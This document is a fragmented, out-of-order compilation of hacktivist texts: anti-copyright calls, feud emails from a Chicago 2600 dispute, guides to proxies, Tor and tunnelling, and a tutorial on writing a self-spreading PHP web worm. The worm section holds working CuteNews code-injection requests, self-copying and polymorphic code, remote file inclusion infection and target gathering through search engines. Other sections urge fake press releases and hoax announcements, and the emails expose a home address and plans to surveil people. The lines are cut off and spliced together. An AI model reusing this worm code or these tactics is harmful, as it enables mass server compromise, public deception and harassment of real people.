"Quantity and quality of P2P technologies are inversely pro
numbers of lawsuits issued to stop P2P" - 3rd Monty's Law

We are proposing DisrespectCopyrights.net, a portal to info
serve as a think tank to oppose and subvert the copyright i
encouraging independent media and file sharing alternatives
internet.

* file archives - a collection of independent do-it-yoursel
activism, anarchism, anti-copyright, code, hts, images, leg
and zines. also allows people to upload their own files.
* news feeds - from various sources including the eff, p2pne
respectp2p, etc.
* wiki - all pages modifiable

We are also looking for flash designers to parody the conte
official MPAA site RespectCopyrights.org, twisting their la
encourage piracy.

BECOME A TRAFFICKER OF ILLEGAL INFORMATION
or: HOW I LEARNED TO STOP WORRYING AND
LOVE DISMANTLING THE COPYRIGHT INDUSTRY

* support file sharing services by setting up torrent tracke
files, starting ftp/irc drops, and running tor servers on h
connections
* start a radical video collection and burn copies to vcds a
for free at shows, schools, or with other radical literatur
* make your own media and release it for free using a Creati
* bastardize corporate imagery, print out stickers and large

Well, Saturday morning, after bailing from the post-meet br
did a quick drive-by of Casa-de-Anarchy.... About a block a
90/94 on the North side of thestreet. As in the picture on
pair of satellite dishes hangning off the porch structure.

Maybe on my way to GenCon, I'll get some reconnaissance phc
1908 South Canalport / Chicago, IL 60608 I'm sure we can th
appropriate to do with this data.

> * Give Security Office of Union Station issue of Chicago
I was planning on doing that this week, the Amtrak police a
defacto security there, something to the effect that the Ch
planning to meet there, but there is one bad apple hell ben
here is the Chicago Reader article, any additional question
can try the Chicago office of the FBI.

> * Contact "ThePlanet.com" Re: Whois information for FreeJ
I already have a mail out to them, I will be mailing ICANN
things up a little.

From: narc <narc> To: BAWLS@CHICAGO2600.NET
Aug 22 Subject: Re: :: A call for arms ::

Look, Narc makes a lot of valid points, but we're not talki
were talking about the media. This is about image, presenta
salesmanship...not reality. You need someone to sell them a
fact based letter to the editor isn't going to do anything.
fable, something exciting, that doesn't make us look like t
going to be exceedingly difficult, because he's already had
about him.

I would even consider making him an accomplice or confidant
be true, but we're trying to sell records here, not run a c

The creation of anonymous networks like Tor based on assyme
cryptography and onion routers do make traditional proxy se
old fashioned, but traditional anonymous proxy services are
for IRC, jump boxes, and general internet tomfoolery, despi
honeypots.

A proxy is a piece of software that makes requests on behal
remote resources. This article goes into short, practical s
prevelent proxy protocols available accross the internet. A
identification procedures are mostly ignored, since open pr
and to keep the article short and practical.

=== CGI Proxies ===
CGI proxies simply fetch web pages and occasionally FTP or
user-supplied input, which is usually just a GET variable.
  http://foo.bar/p.php?url=http://www.hackthissite.org/
The reliability and transfer rates of these services are of
can be easily strung together directly from the URL in many
  http://foo.bar/p.php?url=http://bar.foo/url.cgi?u=http://
Many language translators also function in this capacity, b
often send an X-Forwarded-For header identifying the sender

=== HTTP Proxies ===
HTTP Proxies are pretty simple. The client sends a regular
proxy server with an absolute URI. Therefore, what would no
  GET / HTTP/1.1
  Host: www.hackthissite.org

when connecting directly to the hackthissite.org server bec
  GET http://www.hackthissite.org/
  Host: www.hackthissite.org

when connecting through a proxy. A blank line after the las
the end of the request (unless a Content-Length has been sp
typical for a POST). The request then goes right on through

destination had been directly connected to. Easy.

Unfortunately, some http proxies are configured to send cer
identifying information to the remote systems.
  * Transparent proxies send the client IP address in the X
    header and other headers affirming the use of a proxy s
  * Anonymous proxies send out headers stating that the ser
    don't send out the client's IP address.
  * High anomnity, or "elite" proxies don't send out any in
    identifies the service as a proxy to the destination.

=== HTTP CONNECT ===
Connect proxies were created as an extension to HTTP proxie
establishing persistent connections for protocols such as I
relatively simple as well. For instance:
  CONNECT irc.hackthissite.org:6667 HTTP/1.1

will establish a connection to the HTS IRC server on port 6
reply with an HTTP-formatted status message, and if the req
data can be sent and received freely. Because connect is an
HTTP protocol, adding extra lines like a Host or a User-Age
fine, but for most purposes is unnecessary.

=== SOCKS4 ===
Socks4a is an extension to the original socks4 to provide D
proxy side. First, the client sends a request like so:
  * \x04 - socks4 version identifier
  * \x01 - command; 1 is connect
  * \x00\x50 - port expressed as 16 bit big endian: \x00\x5
    In Perl, pack("n", $port) will convert the integer $p
    endian.
  * \xc0\xa8\x06\x47 - 4 bytes specifying the destination I
    bytes shown would equate to 192.168.6.71. Use \x00\xC
    proxy is to do the DNS lookup itself. (Any non-zero f
    will do.)

personal business to talk on public boards (Indymedia.org,
and HackThisSite.org came up as initial results).

Upon further analysis of the situation, I also noted that J
webmaster for Macspecialist.com. As someone who is a known
(ProtestWarrior, CUGNet, Chicago2600.net, and others that w
have all been illegally accessed by Jeremy Hammond), I ques
webmaster and further express concern for Macspecialist as

Contained below is the IRC log of the events that transpire
Jeremy. Server: irc.chicago2600.net Channel: #chicago2600

From narc <narc@narc.com> To: radicaledward@chicago2600.net
Sept 6: FBI here TODAY. 3:00 P.M. chi2600
narc, if you wanna come, gimme a ring at XXX-XXX-XXXX ext X
I'll get you directions here.

From: narc <narc@narc.com> To: bawls@chicago2600.net
Sept 14 Subject: Re: Guess who went to jail again...
I just sent a very misspelled note in broken english/french
out where the Hackbloc shindig is, with any luck he'll repl
info to Chicago Police Intelligence to have a little 'speci
pad the Indymedia comments later tonight.
- narc

From: narc <narc@narc.com> To: bawls@chicago2600.net
Aug 23 Subject: Re: Domain fyi
If its in the slush fund, buy the remaining domains, but I'
FreeJeremy.net .org .info and lock them out, and point them
and maybe grab the .net and .org

If Jeremy doesn't update the whois information, the regista
domain and as it stands there is 247 links back on MSN and
Kinda hard to get your message out if your domain is gone,
marketable domains are owned by anonymous parties.

choose. In addition to breaking a number of 2600 convention
egotistical, authoritative philosophy undermines the open d
hacking.

Like many other hacking groups, 2600 has counter-culture ro
embraced dissenting opinions. 2600 has also recognized that
inherantly political, and how free technology can be used t
rights and free speech. The Fifth HOPE was held in NYC a mo
Republican National Convention came to town and had a numbe
presentations covering independent media, the free software
speech talking about civil disobedience at the upcoming RNC

2600 has created a set of national guidelines in order to k
organized around the principles of freedom and democracy an
power-hungry administrators to abuse the rest of the group.

"Remember that meetings are open to all as per the meeting
meeting CANNOT be "sponsored" by anyone or it's not a 2600
appearing to be a tight knit group as this will only discou
new attendees. It also would be inaccurate - meetings are n
they are anybody else's. Similarly, your site should only f
itself, not activities outside of or after the meeting. If
the cool people wind up doing one thing while the non-cool
else, you're creating divisions and factions that have no p
same reason, we strongly discourage any kind of content tha
any attendee(s)."

On Aug 29, 2005, at 10:46 AM, narc <narc@narc.com> wrote:

It was brought to my attention that a one Jeremy Hammond de
at your place of business to openly express a vulnerability
public Internet Relay Chat (IRC) channel. Due to recent enc
young man, I have learned to question any motives of his to
information, and as such, decided to contact you. Also, as
locate you, I also uncovered that Jeremy has been using his

  * rawr\x00 - null-terminated USERID string, these are occ
    IP addresses or IDENT replies as a primative form of
    rarely. Most of the time this string is ignored, so p
  * hackthissite.org\x00 - null-terminated domain name, jus
    valid IP was provided earlier
The socks4 server then sends a reply like so:
  * \x00 - version of the reply code, should always be 0
  * \x5A - request granted
    OR \x5B - rejected or failed
    OR \x5C - rejected because can't connect to identd on t
    OR \x5D - rejected because identd and the client report
  * \x00\x50 - destination port, ignore
  * \xc0\xa8\x06\x47 - destination IP, ignore
After these steps write directly to the socket as if the cl
connected.

=== SOCKS5 ===
Socks5 was developed to provide both UDP and TCP, strong au
and IPv6 from the ground up. First off, the client sends a
identifier/method selection message:
  * \x05 - socks5 version identifier
  * \x01 - number of methods to try; for our purposes, one
  * \x00 - methods; \x00 is no authentication required
The server will then reply:
  * \x05 - socks5 version identifier
  * \x00 - selected method; if this is \xff then the client
If everything went well, the client then sends a socks5 req
  * \x05 - socks5 version identifier
  * \x01 - command (\x01 for connect)
  * \x00 - reserved, leave null for now
  * \x01 - address type, \x01 for IPv4
    OR \x03 - for a domain name
    OR \x04 - for IPv6
  * \xc0\xa8\x06\x47 - 4 octets specifying the address for
    OR 16 octets for an IPv6 address

```
    OR 1 byte specifying the string length then the domain
  * \x00\x50 - destination port, \x00\x50 is port 80
The server replies with:
  * \x05 - socks5 version
  * \x00 - reply field, \x00 for successful
    OR \x01 for general socks server failure
    OR \x02 for connection not allowed
    OR \x03 for network unreachable
    OR \x04 for host unreachable
    OR \x05 for connection refused
    OR \x06 for time to live expired
    OR \x07 for command not supported
    OR \x08 for address type not supported
    OR \x09 to \xff for unassigned
  * \x00 - reserved, always \x00
  * \x01 - address type, same values as in request
  * \xc0\xa8\x06\x47 - bound address
  * \x00\x50 - bound port, doesn't really matter for a conn
Then the transaction continues as if the client were direct

=== Chains, Final Notes ===
For added anomnity, multiple proxies can be strung together
as chaining. In proxy chains, the client instructs proxy se
subsequent proxy servers until the destination. This techni
improve anomnity, but may decrease throughput and increase

Interestingly, Tor is nothing more than a socks4a proxy ser
client is concerned, which brings in the possibility of usi
as just another link in a chain. Extending Tor exit nodes w
also opens up the possibility of getting around Tor restric
networks while maintaining encryption and anomnity, as it i
block Tor than to block the massive number of open proxies
especially those on non-standard ports.

Reader, beware. Many proxies are run by phishers, over-zeal
```



```
[-------------------------------------------------------
[ black and white chicago 2600 ........................
[-------------------------------------------------------

After an invitation to test the security of several of thei
proceeded to root each of them and showed them how it was d
time they were curious and interested as to how their syste
After Jeremy's place was raided by the FBI, the white hats
their true colors, starting to call us 'cyber-criminals' an
vandals' and started to work with the FBI and ProtestWarrio
harass, and incriminate members of our group. By aiding the
destroy the hacking movement, Chicago "2600" has lost all c
public hacking group.

Over a period of months, several self-appointed Chicago 260
acted in ways which endanger other hackers, abuse their pow
undermine the spirit of hacking in general.

* Turned over logs and other information to narc to people's
successful intent to get people fired.
* Has worked with law enforcement to provide testimony and
surveillance to aid the FBI's chances of conviction as well
right-wing group ProtestWarrior to do counter-intelligence
campaigns
* Repeatedly censor and prevent people from posting to the
when they don't agree with the posts or want to hide some o
doing.
* Run a secret email list for those who "make the real deci
group", which they have used to badmouth and conspire again
* Moved meetings to a private location where they have banne
with threats of going to the police

When approached about these violations, the administrators
is not a democracy" and that they can run their "private co
```

"France's Youth Battles Also Waged on the Web"
Washington Post, November 10, 2005

While riot police are attempting to curb the gangs that hav
to cars and buildings in France's poor suburban communities
weeks, French officials have only just begun the struggle t
amorphous battleground: cyberspace.

Internet blogs have become so vicious and intense that poli
investigations against two teenagers for inciting violence
station-sponsored blogs. Hackers took over the Web site of
suburb of Clichy-sous-Bois, where the first violence began
dispatched thousands of fake e-mails announcing the mayor's
gangs have used text messaging on their cell phones as earl
alert members about the movements of riot police during ope
communities, gang members said in interviews.

"CTA asks feds to probe e-mail hoax"
Chicago Tribune, December 14th 2004

The Chicago Transit Authority today asked the FBI to invest
to media outlets early this morning, falsely announcing fre
public on Wednesday.

The so-called press release went out under CTA President Fr
was received by the Tribune and other news media at 3 a.m.
pending service cuts, and "in the spirit of the holidays" a
Free Travel" on buses and trains beginning 5 a.m. Wednesday

Nothing could be further from the truth, officials of the t
today. "It's phony, and we have referred it to the FBI," sa
Noelle Gaffney. The e-mail, headlined "Riders Don't Pay, Wo
did not originate with the CTA, and there will be no fare h
said.

administrators, or law enforcement agencies that log everyt
than one layer of anomnity and never send unencrypted perso
information through public proxy servers.

http://proxy-glue.sourceforge.net/

[---
[tunnelling and tor ....
[---

Tor is the Onion Routing Protocol, a project being develope
Freedom Frontier (EFF) for anonymity and privacy protection
breaks up your packets and spreads them over the entire Tor
to end points around the world, where they are reassembled
intended destination. Tor can be used to protect your iden
the web, chatting, or when doing super fun no-no stuffs ;D.

First, install Tor. Tor is available from the EFF, at tor.
on your OS of choice. You'll also probably want Privoxy, i
configuring your HTTP Proxy (privoxy) to use a SOCKS proxy
website.

To use Tor to anonymize your web browsing, open your browse
If you're using both Tor and Privoxy you'll want to point y
localhost, port 8118. If you're using Firefox, you'll want
says "Use the same proxy for all protocols." If you're not
Tor), set your SOCKS v4 proxy to localhost, port 9050. Che
going to http://whatismyip.com. (a note for Firefox users:
Firefox extension called ProxyButton. It allows you to tog
off quickly from your toolbar. I recommend this extension
webhacking ;D)

You can set up other applications to route traffic through
proxies through localhost port 9050. But sometimes you may
an application that does not have SOCKS support, that's whe

handy. Socat is a useful tool for dealing with socket conn
I've written a quick script, called torbind to handle socat

```
#!/bin/bash
# Usage: ./torbind [local port] [remote host] [remote port]
socat TCP4-LISTEN:$1,fork SOCKS4A:localhost:$2:$3,socksport
```

Say we want to telnet to a remote host over tor. Using soc

```
$ ./torbind 1337 h4x3db0x0r.com 12345&; telnet localhost 13
Connected to h4x3db0x0r.com port 12345.
Password?:
```

or IRC:

```
$ ./torbind 7000 irc.hackthissite.org 7000&; irssi
/server -ssl localhost 7000
```

You can route any port on local host to any port on any des
You can figure out how to use this on your own ;D.

Say your hacking on the road. You need to use a library or
to do some serious buisness. You can't install Tor due to
or just due to time. A nice quick n' dirty way of getting
is to use an SSH tunnel. Any SSH client can route traffic
tunnel to your ssh server. If you have Tor and Privoxy run
you can route your traffic out through that. In Linux or M
example:

```
user@localhost $ ssh -L12345:localhost:8118 user@remotehost
Password:
user@remotehost.com $
```

Back at localhost you can now set your http proxies to loca
will bounce traffic through your ssh session to your server

will already be on people's mind and add fuel to the flames

cause electronic disruption: announce a phony mayor resigna
boss announcing raises for everybody, give people discounts
internet or public transit services.

make mass announcements to mainstream and independent media
actions. write a well formatted press announcement look up
or other members of the press. mass communication(gather me
mass emails, post to indymedia, upload files to p2p network
other popular archive sites.

cover your tracks, never use the same name twice, don't com
hats or sellouts, embrace a diversity of tactics, have fun

Mass Mail Script: drop on a box and create a newline-sepera
emails to major newspapers, televiion and radio stations, c

```
<?php
$fromemail = "Name Here <never@guess>";
$subject = "insert subject here!";
$message = "insert\nmessage\nhere!";
$handle = fopen("emails.txt", "r");
while (!feof($handle)) {
  $buffer = fgets($handle, 4096);
  if ($buffer != "" AND $buffer != "\n") {
    echo "Send to $buffer...\n";
    $a = mail ($buffer, $subject, $message, "From: $fromema
    if ($a == false) echo "<font color=\"red\">Bad!</font>
    echo "Done.<br>";
  }
}
fclose($handle); ?><br><br>done altogether!
```

works as well. Consider randomizing the user-agent of your
integrating multiple search engine support to keep them con
duration of the worm.

Develop methods of communicating with past and future itera
feeding it locations of attacked boxes. A decentralized met
communication can also help the worm adapt itself by discov
exploits or being fed new attack vectors.

**** Final Words ****
World Cant Wait was developed as a simple proof-of-concept
writing web based worms that spread through vulnerable php
worm code was not designed to trash systems (the above code
without some modification) the concepts can be used to deli
payloads. Script kiddie worms have in the past been used to
harvest passwords, or ddos major systems, while others have
patched the security hole of the vulnerable software. Other
idea of making mass amounts of posts on guestbooks, blogs,
google bomb and manipulate google and other spidering syste
are endless, and the real genius is in creativity.

Most people interested in advanced coding exercises such as
motivated by the challenge of actually developing efficient
art of gathering targets and exploiting them. There is no g
beautiful coding exercise for efficiency and complexity tha
if writing code can be considered a criminal act in the eye
interest in this beautiful art has been around for decades
remain a part of hacker culture as long as we are able to d
secure and responsible way.

[--
[creating national media stunts ....
[--

coordinate with other national actions, events, protests. f

for complete quick anonymity.

In windows, you can set up an SSH tunnel using PuTTY.

In PuTTY Config, under SSH, go to Tunnels and Add a new for
source port, like above something arbitrary, say 12345. De
localhost:8118 (for Privoxy, without privoxy, use port 9050
connect to your SSH server, authenticate, and you should be
HTTP or SOCKS proxy to localhost, port 12345.

You also configure the unix command line ssh client to boun
Install connect.c at /usr/local/bin/connect and add the fol
ssh_config file. Alternatively, you can write shell scripts
process of alternating between tor ssh and non tor ssh.

```
Host *
ProxyCommand /usr/local/bin/connect -4 -S 127.0.0.1:9050 %h
(needs to have /usr/local/bin/connect )

sshtor.sh:
#!/bin/bash
cp /sw/etc/ssh/ssh_config.tor /sw/etc/ssh/ssh_config

sshnontor.sh:
#!/bin/bash
cp /sw/etc/ssh/ssh_config.nontor /sw/etc/ssh/ssh_config
```


[--
[the art of writing a web worm in php ....
[--

* Introduction
* Automation
* Target Gathering
* Evading IDS, Polymorphism, and Communication
* Final Words

**** Introduction *****
This article uses some specific examples from an unreleased
spread itself through vulnerable php scripts. The worm is c
and would post an announcement of the November 2nd Drive Ou
protests on thousands of message boards and blog engines. T
of a private vulnerability but the techniques described her
disclosed php code execution vulnerability in CuteNews 1.4.
around with automating this exploit to find targets and rep
programming exercise while we were toying with the idea of
in the buildup to the protests to get people to the streets
the movement. In the end we decided that instead of risking
and trashing a bunch of systems, we would strengthen our mo
the techniques and release the code in modules to help arm
revolutionaries.

Although we left some intentional bugs and took portions of
snippets below can be used to build a destructive worm. Rec
implications of getting involved with such actions and don'
the violent and destructive hackers the media tries to pain
and genius of a worm is in writing the code itself, not how
mess with. So let's get to it, and remember - coding is not

**** Automation ****
Find a vulnerability and write a self-automated target gath
exploitation engine. Web based vulnerabilities are predicta
targets through search engines fairly easily, and can be ex
by forging a series of HTTP requests.

```
while ($stop == false) {
```


similarities. In addition to changing the names of variable
can also express values of numbers and strings in different

```
$random++;              ->        $random+= -2 + 3;
$start = "go";          ->        $start = chr(103) . chr(1
$num = count($result);  ->        $num = sizeof($result);
```

The following bit of code published in 29a rewrites the sou
variable names.

```
<?php
$changevars=array('changevars', 'content', 'newvars', 'coun
'trash');
srand((double)microtime()*1000000);
$content=fread(fopen(__FILE__,'r'),filesize(__FILE__));
$counti=0;
while($changevars[$counti]) {
  $content=str_replace($changevars[++$counti], trash('',0),
}
fwrite(fopen(__FILE__,'w'),$content);

function trash($newvar, $countj) {
  do { $newvar.=chr(rand(97,122)); } while (++$countj<rand(
  return $newvar;
}
?>
```

Randomizing data sent in the http request, making it less p
include and choose a random user-agent making it look like
can adjust the actual POST data so that they aren't all usi
for each form name (like the above cutenews example).

If your worm depends on a search engine like google to gath
be worth considering diversifying your queries as to reduce
blacklisted and killing the worm. inurl might find a lot of

```
You can scrape results from major search engines by making
looking at the returned URLs.

  $fp = fsockopen("google.com", "80");
  fwrite($fp, "GET /search?q=" . urlencode($query) .
"&sourceid=mozilla-search&start=0&start=0&ie=utf-8&oe=utf-8
=org.mozilla:en-US:official HTTP/1.1\r\n
Host: www.google.com\r\n
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O;
Gecko/20050511/1.0.4\r\n
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=
image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Connection: close\r\n\r\n");
  while (!feof($fp) AND (strpos($text, "2005 Google") === f
    $text.= fgets($fp);
  }
  fclose($fp);

  while (!(strpos($text, "<a href=\"http://") === false)) {
    $starttext = substr($text, strpos($text, "<a href=\"htt
    $thenumber = substr($starttext, 0, strpos($starttext, "
    $text = str_replace("<a href=\"$thenumber\">", "x", $te
    if (strpos($thenumber, "google") === false) $vuln[] = $
  }
  print_r($vuln);

**** Evading IDS, Polymorphism, and Communication ****
You can adjust the source of the program on the fly by maki
replaces in the code for each new iteration of the worm. PH
have several function aliases that can be swapped to produc
Consider adding extroneous PHP code as trash to confuse fil
```



```
  $list = gather_targets();
  for ($i=0;$i<count($list);$i++) {
    echo " [x] targetting $list[$i]...\n";
    if (!is_infected($list[$i])) infect($list[$i]);
  }
  $stop = true;
}

In order to have a web based worm spread, you need to autom
process. This can be done by using PHP's socket functions t
connections to the web server and sending http data. This f
how a PHP script can connect to a server, send data, and re

function make_request($domain, $packet) {
  $fp = @fsockopen($domain, 80, $errno, $errstr, 10);
  if (!$fp) return false;
  fwrite($fp, $packet);
  while (!feof($fp)) $text.= fgets($fp);
  fclose($fp);
}

Then it is just a matter of forging a proper HTTP request w
vulnerability and get it to run a copy of itself on the inf
CuteNews writes information to data/flood.db.php when someo
a news article. You can insert PHP code to this file by pas
Client-Ip HTTP header.

$packet = str_replace("\n","\n\r",
"POST
$location/example2.php?subaction=showcomments&id=1128188313
&ucat=& HTTP/1.1
Accept: */*\r\nAccept-Language: en
Accept-Encoding: gzip, deflate
Client-Ip: <?php echo \"arbitrary php code to be executed!!
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) Ap
```

```
(KHTML, like Gecko) Safari/412.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Connection: close
Host: $domain

name=haxitup&mail=&comments=j00+haxed+%3Alaughing%3A&submit
subaction=addcomment&ucat=&show=

";

If we make a couple of these requests, it will write the PH
to flood.db.php. Then we can call flood.php from a standard
execute the code. Now that we can automate the process of e
a given server, we can start thinking about some code that
worm as well as delivering our payload. This example will c
code to 'sekret.php' on the vulnerable server, ready to be
payload at the end of Client-Ip, from running sekret.php to
top of news.txt which will make a news post on every vulner
;)

$source = str_replace("\$", "\\\$",str_replace("\"", "\\\""
"\\\\",file_get_contents($_SERVER['PHP_SELF'])));
...
Client-Ip: <?php \$fp=fopen(\"sekret.php\", \"w\");fwrite(\
\"$source\");fclose(\$fp); ?>\r\n ...
...
for ($i=0;$i<2;$i++) { $bob = make_request($domain, $packet
make_request($domain, "GET $location/data/flood.db.php HTTP
$domain\r\nConnection: close\r\n\r\n");

Other Infection Method: PHP Inclusion
It is not difficult to automate the process of PHP include
vulnerabilities either. Poorly written PHP scripts commonly
similar to <?php include $page; ?>, which is vulnerable in
```



```
remote PHP code execution by passing the URL to a bit of PH
variable 'page'. Our worm can copy itself to some place on
the URL to an HTTP GET request to execute itself on another

$fp = fopen("sekret.txt", "w");
fwrite($fp, file_get_contents($_SERVER['PHP_SELF']));
fclose($fp);
$url = $_SERVER['SCRIPT_URI'];
make_request($domain, "GET /test.php?path=$url HTTP/1.1\r\n
$domain\r\nConnection: close\r\n\r\n");

Other Infection Method: SQL
Other Infection Method: JavaScript / XSS

**** 3. Target Gathering ****

During the development of the worm, it would be wise to sep
exploit code from the target gathering code. Test on your o
LAN using code similar to:

function gather_targets() {
  return array("http://localhost/cutenews");
}

For the purposes of web based worms, it makes sense to use
order to extract potential targets. You can easily write a
produce URLs to sites running specific software. This can b
page scraping code to generate an array of targets which ca
worm for infection.

  $search = array("inurl:flood.db.php", "\"powered by cuten
"\"/cutenews/remote_headlines.php\"", "\"powered by CuteNew
CutePHP\"",  "inurl:\"/newsarchive.php?archive\"");
  $query = $search[rand(0, count($search)-1)];
```